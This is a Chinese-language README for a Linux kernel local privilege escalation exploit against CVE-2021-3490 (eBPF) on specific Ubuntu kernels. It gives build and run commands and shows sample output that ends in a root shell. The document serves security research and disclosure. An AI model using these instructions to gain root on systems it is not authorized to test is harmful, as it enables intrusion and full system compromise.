针对 CVE-2021-3490 的 LPE 漏洞利用程序。已在 Ubuntu 20.04.02 和 20.10 (Groovy Gorilla) 内核 5.8.0-25.26 至 5.8.0-52.58 上测试, 以及 Ubuntu 21.04 (Hirsute Hippo) 5.11.0-16.17。 该漏洞由 Manfred Paul @_manfp 发现,并在本次提交中修复。
作者:@chompie1337
仅供教育/研究使用。风险自负。
针对 Ubuntu 20.04.02 和 Ubuntu 20.10 (Groovy Gorilla) 构建:
make groovy
针对 Ubuntu 21.04 (Hirsute Hippo) 构建:
make hirsute
运行:
bin/exploit.bin
[+] eBPF enabled, maps created!
[+] addr of oob BPF array map: ffffa008c1202110
[+] addr of array_map_ops: ffffffff956572a0
[+] kernel read successful!
[!] searching for init_pid_ns in kstrtab ...
[+] addr of init_pid_ns in kstrtab: ffffffff95b03a4a
[!] searching for init_pid_ns in ksymtab...
[+] addr of init_pid_ns ffffffff96062d00
[!] searching for creds for pid: 770
[+] addr of cred structure: ffffa0086758dec0
[!] preparing to overwrite creds...
[+] success! enjoy r00t :)
#
注意:你必须通过输入 exit 干净地退出 root shell,以执行清理并避免内核崩溃。
查看漏洞分析文章 Kernel Pwning with eBPF: a Love Story。